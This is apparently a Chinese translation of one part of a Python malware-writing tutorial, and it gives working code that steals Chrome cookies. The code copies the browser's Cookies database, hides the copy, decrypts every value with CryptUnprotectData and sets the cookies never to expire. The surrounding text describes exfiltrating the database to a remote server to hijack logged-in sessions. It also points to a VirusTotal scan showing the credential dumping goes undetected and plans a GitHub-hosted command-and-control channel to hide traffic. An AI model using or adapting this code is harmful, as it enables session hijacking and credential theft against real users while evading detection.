Chrome管理cookies的方式与密码一样。它们存储在数据库文件cookies中,并且也是用CryptProtectData函数加密的。所以解密的方法也一样。然而,有两个不同的地方需要注意一下。第一,我们用解密的cookies在数据库内部重写了数据,而不是把它们写入文件。第二,我们窃取的是cookies已经解密的整个数据库文件。如果服务端sessions未过期或者用户没有退出登陆的话,那么可以将数据库上传到一个远程服务器中,用于在用户访问站点时进行身份认证。

        login_data = os.environ['localappdata'] + '\\Google\\Chrome\\User Data\\Default\\Cookies' # Path to Cookies database file
        shutil.copy2(login_data, './Cookies')                                                     # Copy DB to current dir
        win32api.SetFileAttributes('./Cookies', win32con.FILE_ATTRIBUTE_HIDDEN)                   # Make file invisible during operation
 
        try:
            conn = sqlite3.connect('./Cookies')                                                   # Connect to database
            cursor = conn.cursor()
            cursor.execute('SELECT host_key, name, value, encrypted_value FROM cookies')          # Run the query
            results = cursor.fetchall()                                                           # Get the results
 
            # Decrypt the cookie blobs
            for host_key, name, value, encrypted_value in results:
                decrypted_value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1].decode()
            
                # Updating the database with decrypted values.             
                cursor.execute("UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999,\
                                is_persistent = 1, is_secure = 0 WHERE host_key = ? AND name = ?",(decrypted_value, host_key, name));
 
            conn.commit()   # Save the changes
            conn.close()    # Close the database file so it's not locked by the process
 
        except Exception as e:  # Avoid crashes from exceptions if any occurs.
            print(e)
            pass
 
# Then, after this function is called, we would exfiltrate the database and delete it.

不过,使用这些cookies并不一定总是有效。因为sessions可能还与其他额外信息有关,比如user-agent,IP地址或者referer等等。所以我们要尽可能多收集用户和主机的信息。这将会在第4部分讲到,还会写一个简单的模块来收集系统信息,还会讲到使用GitHub来设置CC服务器,这样我们就可以隐藏流量。

现在我们来看看创建一个来转存credman和Chrome的密码会不会触发检测:

7.png

参考阅读:https://www.virustotal.com/#/file/e52b5a3cd7df00b050287148412c44526b349a4beafe797fabdd57967a405d81/detection

如图可见,没有触发。其实,以普通权限在用户空间转存凭证几乎是检测不到的。这是因为很难判断访问凭证管理器是否具有恶意目的,而且很多合法程序也会用它来“安全地”(安不安全,心里还没点数吗)存储凭证。如果你不尝试着提权并且从LSASS中dump数据,那么你的操作不大可能会被检测到。

完整的代码在我的GitHub上

https://github.com/tr4cefl0w/0x00sec/tree/master/python-malware